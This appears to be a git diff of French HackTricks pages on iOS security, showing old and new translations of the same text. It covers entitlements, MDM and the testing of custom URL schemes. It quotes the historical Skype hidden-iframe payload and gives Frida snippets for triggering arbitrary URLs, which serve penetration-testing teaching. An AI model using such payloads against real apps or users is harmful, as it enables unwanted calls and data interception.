> Typiquement, vous trouverez la capacité `armv7`, signifiant que l'application est compilée uniquement pour le jeu d'instructions armv7, ou si c'est une application universelle 32/64 bits.
|
||||
|
||||
Par exemple, une application peut dépendre entièrement de NFC pour fonctionner (par exemple, une application "Lecteur de tag NFC"). Selon la [Référence de compatibilité des appareils iOS archivée](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), NFC n'est disponible qu'à partir de l'iPhone 7 (et iOS 11). Un développeur peut vouloir exclure tous les appareils incompatibles en définissant la capacité de l'appareil `nfc`.
|
||||
Par exemple, une application pourrait être entièrement dépendante de la NFC pour fonctionner (par exemple, une application ["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596)). Selon la [référence archivée de compatibilité des appareils iOS](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), la NFC est disponible seulement à partir de l'iPhone 7 (et iOS 11). Un développeur pourrait vouloir exclure tous les appareils incompatibles en définissant la capacité de l'appareil `nfc`.
|
||||
|
||||
## Attributions
|
||||
## Entitlements
|
||||
|
||||
> Les attributions sont des paires clé-valeur qui sont signées dans une application et permettent une authentification au-delà des facteurs d'exécution, comme l'ID utilisateur UNIX. Comme les attributions sont signées numériquement, elles ne peuvent pas être modifiées. Les attributions sont largement utilisées par les applications et les démons système pour **effectuer des opérations privilégiées spécifiques qui nécessiteraient sinon que le processus s'exécute en tant que root**. Cela réduit considérablement le potentiel d'escalade de privilèges par une application ou un démon système compromis.
|
||||
> Les Entitlements sont des paires clé-valeur qui sont signées dans une application et permettent une authentification au-delà des facteurs d'exécution, comme l'ID utilisateur UNIX. Comme les Entitlements sont numériquement signés, ils ne peuvent pas être modifiés. Les Entitlements sont largement utilisés par les applications système et les daemons pour **effectuer des opérations privilégiées spécifiques qui nécessiteraient autrement que le processus s'exécute en tant que root**. Cela réduit considérablement le potentiel d'escalade de privilèges par une application système ou un daemon compromis.
|
||||
|
||||
Par exemple, si vous souhaitez définir la capacité "Protection des données par défaut", vous devrez aller dans l'onglet **Capacités** de Xcode et activer **Protection des données**. Cela est directement écrit par Xcode dans le fichier `<nomdelapp>.attributions` en tant qu'attribution `com.apple.developer.default-data-protection` avec la valeur par défaut `NSFileProtectionComplete`. Dans l'IPA, nous pourrions trouver cela dans le `embedded.mobileprovision` comme suit :
|
||||
Par exemple, si vous souhaitez définir la capacité "Protection des données par défaut", vous devrez aller dans l'onglet **Capabilities** dans Xcode et activer la **Protection des données**. Cela est directement écrit par Xcode dans le fichier `<appname>.entitlements` comme l'entitlement `com.apple.developer.default-data-protection` avec la valeur par défaut `NSFileProtectionComplete`. Dans l'IPA, nous pourrions trouver cela dans le `embedded.mobileprovision` comme :
|
||||
```markup
|
||||
<key>Entitlements</key>
|
||||
<dict>
|
||||
...
|
||||
<key>com.apple.developer.default-data-protection</key>
|
||||
<string>NSFileProtectionComplete</string>
|
||||
...
|
||||
<key>com.apple.developer.default-data-protection</key>
|
||||
<string>NSFileProtectionComplete</string>
|
||||
</dict>
|
||||
```
|
||||
Pour d'autres fonctionnalités telles que HealthKit, l'utilisateur doit donner son autorisation, il n'est donc pas suffisant d'ajouter les entitlements, des clés et des chaînes spéciales doivent être ajoutées au fichier `Info.plist` de l'application.
|
||||
Pour d'autres capacités telles que HealthKit, l'utilisateur doit être sollicité pour obtenir la permission, donc il ne suffit pas d'ajouter les droits, des clés spéciales et des chaînes doivent être ajoutées au fichier `Info.plist` de l'application.
|
||||
|
||||
# Bases d'Objective-C et de Swift
|
||||
# Bases de Objective-C et Swift
|
||||
|
||||
**Objective-C** a un **runtime dynamique**, donc lorsqu'un programme Objective-C est exécuté sur iOS, il appelle des bibliothèques dont les **adresses sont résolues à l'exécution** en comparant le nom de la fonction envoyée dans le message avec une liste de tous les noms de fonctions disponibles.
|
||||
**Objective-C** possède un **runtime dynamique**, donc lorsqu'un programme Objective-C est exécuté sur iOS, il appelle des bibliothèques dont les **adresses sont résolues au runtime** en comparant le nom de la fonction envoyée dans le message contre une liste de tous les noms de fonction disponibles.
|
||||
|
||||
Au début, seules les applications créées par Apple s'exécutent sur les iPhones, donc elles avaient **accès à tout** car elles étaient **de confiance**. Cependant, lorsque Apple a **permis** les **applications tierces**, Apple a simplement supprimé les fichiers d'en-tête des fonctions puissantes pour les "cacher" aux développeurs. Cependant, les développeurs ont découvert que les fonctions "sûres" avaient besoin de quelques-unes de ces fonctions non documentées et qu'en créant un **fichier d'en-tête personnalisé avec les noms des fonctions non documentées, il était possible d'invoquer ces fonctions cachées puissantes.** En fait, avant de permettre la publication d'une application, Apple vérifie si l'application appelle l'une de ces fonctions interdites.
|
||||
Au début, seules les applications créées par Apple fonctionnaient sur les iPhones, elles avaient donc **accès à tout** car elles étaient **de confiance**. Cependant, lorsque Apple a **autorisé les applications tierces**, Apple a simplement retiré les fichiers d'en-tête des fonctions puissantes pour les "cacher" aux développeurs. Cependant, les développeurs ont découvert que les fonctions "sûres" nécessitaient certaines de ces fonctions non documentées et en créant simplement un **fichier d'en-tête personnalisé avec les noms des fonctions non documentées, il était possible d'invoquer ces puissantes fonctions cachées.** En réalité, Apple, avant d'autoriser la publication d'une application, vérifie si l'application appelle l'une de ces fonctions interdites.
|
||||
|
||||
Ensuite, Swift est apparu. Comme **Swift est lié statiquement** (il ne résout pas l'adresse des fonctions à l'exécution comme Objective-C), il est plus facile de vérifier les appels qu'un programme Swift va faire via une analyse de code statique.
|
||||
Puis, Swift est apparu. Comme **Swift est lié statiquement** (il ne résout pas l'adresse des fonctions au runtime comme Objective-C), il est plus facile de vérifier les appels qu'un programme Swift va effectuer via une analyse de code statique.
|
||||
|
||||
# Gestion des appareils
|
||||
|
||||
À partir de la version iOS 6, il existe une **prise en charge intégrée de la gestion des appareils** avec des contrôles fins qui permettent à une organisation de contrôler les appareils Apple d'entreprise.\
|
||||
L'inscription peut être **initiée par l'utilisateur installant un agent** afin d'accéder aux applications d'entreprise. Dans ce cas, l'appareil appartient généralement à l'utilisateur.\
|
||||
Ou l'**entreprise peut indiquer les numéros de série** des appareils achetés ou l'identifiant de commande d'achat et spécifier le profil MDM à installer sur ces appareils. Notez qu'Apple **n'autorise pas l'inscription d'un appareil particulier de cette manière deux fois**. Une fois que le premier profil est supprimé, l'utilisateur doit donner son consentement pour en installer un autre.
|
||||
À partir de la version 6 d'iOS, il existe un **support intégré pour la gestion des appareils** avec des contrôles précis qui permettent à une organisation de contrôler les appareils Apple d'entreprise.\
|
||||
L'inscription peut être **initiée par l'utilisateur en installant un agent** afin d'accéder aux applications d'entreprise. Dans ce cas, l'appareil appartient généralement à l'utilisateur.\
|
||||
Ou l'**entreprise peut indiquer les numéros de série** des appareils achetés ou l'ID de commande d'achat et spécifier le profil MDM à installer sur ces appareils. Notez qu'Apple **ne permet pas d'inscrire un appareil particulier de cette manière deux fois**. Une fois que le premier profil est supprimé, l'utilisateur doit donner son consentement pour en installer un autre.
|
||||
|
||||
L'utilisateur peut voir les politiques installées dans _**Réglages**_ --> _**Général**_ --> _**Profils et gestion des appareils**_
|
||||
L'utilisateur peut voir les politiques installées dans _**Réglages**_ --> _**Général**_ --> _**Gestion des profils et des appareils**_
|
||||
|
||||
Comme ces politiques MDM vérifient et limitent d'autres applications, elles **fonctionnent avec plus de privilèges**.\
|
||||
Une politique MDM peut **forcer** les **utilisateurs** à avoir un **code d'accès** défini avec une **complexité de mot de passe minimale**.\
|
||||
Les profils sont liés à l'ID de l'appareil, **signés** et **cryptés** par le serveur MDM et **à l'épreuve de la manipulation**. Ils **ne peuvent pas** être **supprimés** sans **perdre** toutes les **données d'entreprise**.\
|
||||
Les profils MDM permettent de **supprimer** toutes les **données** en cas de X **tentatives** de **mot de passe** **échouées**. De plus, l'**administrateur** peut **supprimer** à distance l'iPhone à tout moment via l'interface MDM.
|
||||
Comme ces politiques MDM vérifient et limitent d'autres applications, elles **s'exécutent avec plus de privilèges**.\
|
||||
Une politique MDM peut **obliger** les **utilisateurs** à avoir un **code d'accès** défini avec une **complexité** de mot de passe **minimale**.\
|
||||
Les profils sont liés à l'ID de l'appareil, **signés** et **chiffrés** par le serveur MDM et **à l'épreuve des manipulations**. Ils **ne peuvent pas** être **retirés** sans **perdre** toutes les **données d'entreprise**.\
|
||||
Les profils MDM permettent d'**effacer** toutes les **données** s'il y a X **tentatives de mot de passe échouées**. De plus, l'**administrateur** peut **effacer à distance** l'iPhone à tout moment via l'interface MDM.
|
||||
|
||||
Les agents MDM **vérifieront** également les **possibles jailbreaks de l'appareil**, car c'est un état très dangereux pour un iPhone.
|
||||
Les agents MDM **vérifient** également les **éventuels jailbreaks de l'appareil**, car c'est un état très dangereux pour un iPhone.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,101 +1,97 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Les schémas d'URL personnalisés [permettent aux applications de communiquer via un protocole personnalisé](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW1). Une application doit déclarer la prise en charge des schémas et gérer les URL entrantes qui utilisent ces schémas.
|
||||
Les schémas d'URL personnalisés [permettent aux applications de communiquer via un protocole personnalisé](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Une application doit déclarer la prise en charge des schémas et gérer les URL entrantes qui utilisent ces schémas.
|
||||
|
||||
> Les schémas d'URL offrent un vecteur d'attaque potentiel dans votre application, alors assurez-vous de **valider tous les paramètres d'URL** et de **rejeter tout URL malformé**. De plus, limitez les **actions** disponibles à celles qui ne risquent pas les données de l'utilisateur.
|
||||
> Les schémas d'URL offrent un vecteur d'attaque potentiel dans votre application, alors assurez-vous de **valider tous les paramètres d'URL** et de **rejeter toutes les URL malformées**. De plus, limitez les **actions** disponibles à celles qui **ne risquent pas les données de l'utilisateur**.
|
||||
|
||||
Par exemple, l'URI : `myapp://hostname?data=123876123` **déclenchera** l'**application** mydata (celle qui a **enregistré** le schéma `mydata`) pour l'**action** liée à l'**hostname** `hostname` en envoyant le **paramètre** `data` avec la valeur `123876123`.
|
||||
Par exemple, l'URI : `myapp://hostname?data=123876123` va **invoquer** l'**application** mydata (celle qui a **enregistré** le schéma `mydata`) pour l'**action** liée au **hostname** `hostname` en envoyant le **paramètre** `data` avec la valeur `123876123`
|
||||
|
||||
Un exemple vulnérable est le [bug dans l'application mobile Skype](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), découvert en 2010 : l'application Skype a enregistré le gestionnaire de protocole `skype://`, ce qui a **permis à d'autres applications de déclencher des appels vers d'autres utilisateurs Skype et des numéros de téléphone**. Malheureusement, Skype n'a pas demandé la permission des utilisateurs avant de passer les appels, de sorte que n'importe quelle application pouvait appeler des numéros arbitraires sans la connaissance de l'utilisateur. Les attaquants ont exploité cette vulnérabilité en mettant en place un `<iframe src="skype://xxx?call"></iframe>` invisible (où `xxx` était remplacé par un numéro premium), de sorte que tout utilisateur Skype qui a visité involontairement un site Web malveillant a appelé le numéro premium.
|
||||
Un exemple vulnérable est le suivant [bug dans l'application mobile Skype](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), découvert en 2010 : L'application Skype avait enregistré le gestionnaire de protocole `skype://`, qui **permettait à d'autres applications de déclencher des appels vers d'autres utilisateurs de Skype et des numéros de téléphone**. Malheureusement, Skype ne demandait pas la permission aux utilisateurs avant de passer les appels, donc n'importe quelle application pouvait appeler des numéros arbitraires sans la connaissance de l'utilisateur. Les attaquants ont exploité cette vulnérabilité en plaçant un `<iframe src="skype://xxx?call"></iframe>` invisible (où `xxx` était remplacé par un numéro surtaxé), donc tout utilisateur de Skype qui visitait par inadvertance un site malveillant appelait le numéro surtaxé.
|
||||
|
||||
Vous pouvez trouver les **schémas enregistrés par une application** dans le fichier **`Info.plist`** de l'application en recherchant **`CFBundleURLTypes`** (exemple de [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)) :
|
||||
Vous pouvez trouver les **schémas enregistrés par une application** dans le fichier **`Info.plist`** de l'application en cherchant **`CFBundleURLTypes`** (exemple de [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)) :
|
||||
```markup
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>com.iGoat.myCompany</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>iGoat</string>
|
||||
</array>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>com.iGoat.myCompany</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>iGoat</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
```
|
||||
Cependant, notez que les applications malveillantes peuvent réenregistrer des URI déjà enregistrées par d'autres applications. Ainsi, si vous envoyez des informations sensibles via des URI (myapp://hostname?password=123456), une application malveillante peut intercepter l'URI avec les informations sensibles.
|
||||
Cependant, notez que **les applications malveillantes peuvent réenregistrer des URI** déjà enregistrées par des applications. Donc, si vous envoyez des **informations sensibles via des URI** (myapp://hostname?password=123456), une application **malveillante** peut **intercepter** l'URI avec les **informations** **sensibles**.
|
||||
|
||||
De plus, l'entrée de ces URI doit être vérifiée et nettoyée, car elle peut provenir d'origines malveillantes cherchant à exploiter des failles telles que les injections SQL, XSS, CSRF, les traversées de chemin ou d'autres vulnérabilités possibles.
|
||||
De plus, l'entrée de ces URI **doit être vérifiée et assainie**, car elle peut provenir de **sources malveillantes** essayant d'exploiter des SQLInjections, XSS, CSRF, Path Traversals, ou d'autres vulnérabilités possibles.
|
||||
|
||||
## Enregistrement des schémas de requête d'application
|
||||
## Enregistrement des Schémas de Requête d'Application
|
||||
|
||||
Les applications peuvent appeler [`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc) pour vérifier que l'application cible est disponible. Cependant, comme cette méthode était utilisée par des applications malveillantes pour énumérer les applications installées, [à partir d'iOS 9.0, les schémas d'URL passés doivent également être déclarés](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion) en ajoutant la clé `LSApplicationQueriesSchemes` au fichier `Info.plist` de l'application et un tableau d'**au plus 50 schémas d'URL**.
|
||||
Les applications peuvent appeler [`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc) pour vérifier que **l'application cible est disponible**. Cependant, comme cette méthode était utilisée par des applications malveillantes comme moyen de **recenser les applications installées**, [à partir d'iOS 9.0, les schémas d'URL passés doivent également être déclarés](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion) en ajoutant la clé `LSApplicationQueriesSchemes` au fichier `Info.plist` de l'application et un tableau de **jusqu'à 50 schémas d'URL**.
|
||||
```markup
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
<string>url_scheme1</string>
|
||||
<string>url_scheme2</string>
|
||||
</array>
|
||||
<array>
|
||||
<string>url_scheme1</string>
|
||||
<string>url_scheme2</string>
|
||||
</array>
|
||||
```
|
||||
`canOpenURL` renverra toujours `NO` pour les schémas non déclarés, que l'application appropriée soit installée ou non. Cependant, cette restriction ne s'applique qu'à `canOpenURL`.
|
||||
|
||||
## Test de la gestion et de la validation des URL
|
||||
|
||||
Afin de déterminer comment un chemin d'URL est construit et validé, si vous avez le code source original, vous pouvez **rechercher les méthodes suivantes** :
|
||||
Pour déterminer comment un chemin d'URL est construit et validé, si vous avez le code source original, vous pouvez **rechercher les méthodes suivantes** :
|
||||
|
||||
* Méthode `application:didFinishLaunchingWithOptions:` ou `application:will-FinishLaunchingWithOptions:` : vérifiez comment la décision est prise et comment les informations sur l'URL sont récupérées.
|
||||
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) : vérifiez comment la ressource est ouverte, c'est-à-dire comment les données sont analysées, vérifiez les [options](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), en particulier si l'accès par l'application appelante ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)) doit être autorisé ou refusé. L'application peut également avoir besoin de l'autorisation de l'utilisateur lors de l'utilisation du schéma d'URL personnalisé.
|
||||
* méthode `application:didFinishLaunchingWithOptions:` ou `application:willFinishLaunchingWithOptions:` : vérifiez comment la décision est prise et comment les informations sur l'URL sont récupérées.
|
||||
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) : vérifiez comment la ressource est ouverte, c'est-à-dire comment les données sont analysées, vérifiez les [options](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), surtout si l'accès par l'application appelante ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)) doit être autorisé ou refusé. L'application peut également nécessiter une permission de l'utilisateur lors de l'utilisation du schéma d'URL personnalisé.
|
||||
|
||||
Dans Telegram, vous trouverez [quatre méthodes différentes utilisées](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250) :
|
||||
Dans Telegram, vous [trouverez quatre méthodes différentes utilisées](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250) :
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?,
|
||||
annotation: Any) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
|
||||
func application(_ app: UIApplication, open url: URL,
|
||||
options: [UIApplicationOpenURLOptionsKey : Any] = [:]) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
|
||||
func application(_ application: UIApplication, handleOpen url: URL) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
```
|
||||
## Tester les requêtes d'URL vers d'autres applications
|
||||
## Test des requêtes URL vers d'autres applications
|
||||
|
||||
La méthode [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) et la méthode [`openURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) de `UIApplication` (dépréciée) sont responsables de l'**ouverture d'URLs** (c'est-à-dire pour envoyer des requêtes / faire des requêtes à d'autres applications) qui peuvent être locales à l'application actuelle ou qui doivent être fournies par une autre application. Si vous avez le code source original, vous pouvez rechercher directement les utilisations de ces méthodes.
|
||||
La méthode [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) et la méthode [obsolète `openURL:` de `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) sont responsables de **l'ouverture d'URLs** (c'est-à-dire pour envoyer des requêtes / faire des interrogations vers d'autres applications) qui peuvent être locales à l'application courante ou qui doivent être fournies par une application différente. Si vous avez le code source original, vous pouvez chercher directement les utilisations de ces méthodes.
|
||||
|
||||
De plus, si vous êtes intéressé à savoir si l'application interroge des services ou des applications spécifiques, et si l'application est bien connue, vous pouvez également rechercher des schémas d'URL courants en ligne et les inclure dans vos **greps (liste des schémas d'applications iOS)**.
|
||||
De plus, si vous souhaitez savoir si l'application interroge des services ou des applications spécifiques, et si l'application est bien connue, vous pouvez également rechercher en ligne les schémas d'URL courants et les inclure dans vos **greps ([**liste des schémas d'applications iOS**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)**)**.
|
||||
```bash
|
||||
egrep -nr "open.*options.*completionHandler" ./Telegram-iOS/
|
||||
egrep -nr "openURL\(" ./Telegram-iOS/
|
||||
egrep -nr "mt-encrypted-file://" ./Telegram-iOS/
|
||||
egrep -nr "://" ./Telegram-iOS/
|
||||
```
|
||||
## Test de méthodes obsolètes
|
||||
## Test des méthodes obsolètes
|
||||
|
||||
Recherchez des méthodes obsolètes telles que :
|
||||
|
||||
|
@ -103,7 +99,7 @@ Recherchez des méthodes obsolètes telles que :
|
|||
* [`openURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)
|
||||
* [`application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application)
|
||||
|
||||
Par exemple, nous trouvons ces trois méthodes :
|
||||
Par exemple, ici nous trouvons ces trois :
|
||||
```bash
|
||||
$ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl"
|
||||
|
||||
|
@ -118,56 +114,56 @@ $ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl"
|
|||
```
|
||||
## Appel d'URL arbitraires
|
||||
|
||||
* **Safari**: Pour tester rapidement un schéma d'URL, vous pouvez ouvrir les URL sur Safari et observer le comportement de l'application. Par exemple, si vous écrivez `tel://123456789`, Safari essaiera de commencer l'appel du numéro.
|
||||
* **Notes App**: Appuyez longuement sur les liens que vous avez écrits pour tester les schémas d'URL personnalisés. N'oubliez pas de quitter le mode d'édition pour pouvoir les ouvrir. Notez que vous pouvez cliquer ou appuyer longuement sur des liens incluant des schémas d'URL personnalisés uniquement si l'application est installée, sinon ils ne seront pas mis en évidence en tant que _liens cliquables_.
|
||||
* [**IDB**](https://github.com/facebook/idb):
|
||||
* Démarrez IDB, connectez-vous à votre appareil et sélectionnez l'application cible. Vous pouvez trouver des détails dans la [documentation IDB](https://www.idbtool.com/documentation/setup.html).
|
||||
* Allez à la section **URL Handlers**. Dans les **URL schemes**, cliquez sur **Refresh**, et sur la gauche, vous trouverez une liste de tous les schémas personnalisés définis dans l'application testée. Vous pouvez charger ces schémas en cliquant sur **Open**, sur le côté droit. En ouvrant simplement un schéma d'URI vide (par exemple, en ouvrant `myURLscheme://`), vous pouvez découvrir des fonctionnalités cachées (par exemple, une fenêtre de débogage) et contourner l'authentification locale.
|
||||
* **Frida**:
|
||||
* **Safari** : Pour tester rapidement un schéma d'URL, vous pouvez ouvrir les URL dans Safari et observer le comportement de l'application. Par exemple, si vous écrivez `tel://123456789`, Safari essaiera de commencer à appeler le numéro.
|
||||
* **Notes App** : Appuyez longuement sur les liens que vous avez écrits pour tester des schémas d'URL personnalisés. N'oubliez pas de quitter le mode d'édition pour pouvoir les ouvrir. Notez que vous pouvez cliquer ou appuyer longuement sur des liens incluant des schémas d'URL personnalisés uniquement si l'application est installée, sinon ils ne seront pas mis en évidence comme _liens cliquables_.
|
||||
* [**IDB**](https://github.com/facebook/idb) :
|
||||
* Lancez IDB, connectez-vous à votre appareil et sélectionnez l'application cible. Vous pouvez trouver des détails dans la [documentation IDB](https://www.idbtool.com/documentation/setup.html).
|
||||
* Allez dans la section **Gestionnaires d'URL**. Dans **Schémas d'URL**, cliquez sur **Actualiser**, et sur la gauche vous trouverez une liste de tous les schémas personnalisés définis dans l'application testée. Vous pouvez charger ces schémas en cliquant sur **Ouvrir**, sur le côté droit. En ouvrant simplement un schéma d'URI vide (par exemple, ouvrir `myURLscheme://`), vous pouvez découvrir des fonctionnalités cachées (par exemple, une fenêtre de débogage) et contourner l'authentification locale.
|
||||
* **Frida** :
|
||||
|
||||
Si vous voulez simplement ouvrir le schéma d'URL, vous pouvez le faire en utilisant Frida :
|
||||
Si vous souhaitez simplement ouvrir le schéma d'URL, vous pouvez le faire en utilisant Frida :
|
||||
|
||||
```javascript
|
||||
$ frida -U iGoat-Swift
|
||||
```javascript
|
||||
$ frida -U iGoat-Swift
|
||||
|
||||
[iPhone::iGoat-Swift]-> function openURL(url) {
|
||||
var UIApplication = ObjC.classes.UIApplication.sharedApplication();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return UIApplication.openURL_(toOpen);
|
||||
}
|
||||
[iPhone::iGoat-Swift]-> openURL("tel://234234234")
|
||||
true
|
||||
```
|
||||
[iPhone::iGoat-Swift]-> function openURL(url) {
|
||||
var UIApplication = ObjC.classes.UIApplication.sharedApplication();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return UIApplication.openURL_(toOpen);
|
||||
}
|
||||
[iPhone::iGoat-Swift]-> openURL("tel://234234234")
|
||||
true
|
||||
```
|
||||
|
||||
Dans cet exemple de [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/), l'auteur utilise l'API non publique `LSApplicationWorkspace.openSensitiveURL:withOptions:` pour ouvrir les URL (à partir de l'application SpringBoard) :
|
||||
Dans cet exemple de [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) l'auteur utilise l'API non publique `LSApplicationWorkspace.openSensitiveURL:withOptions:` pour ouvrir les URL (de l'application SpringBoard) :
|
||||
|
||||
```javascript
|
||||
function openURL(url) {
|
||||
var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
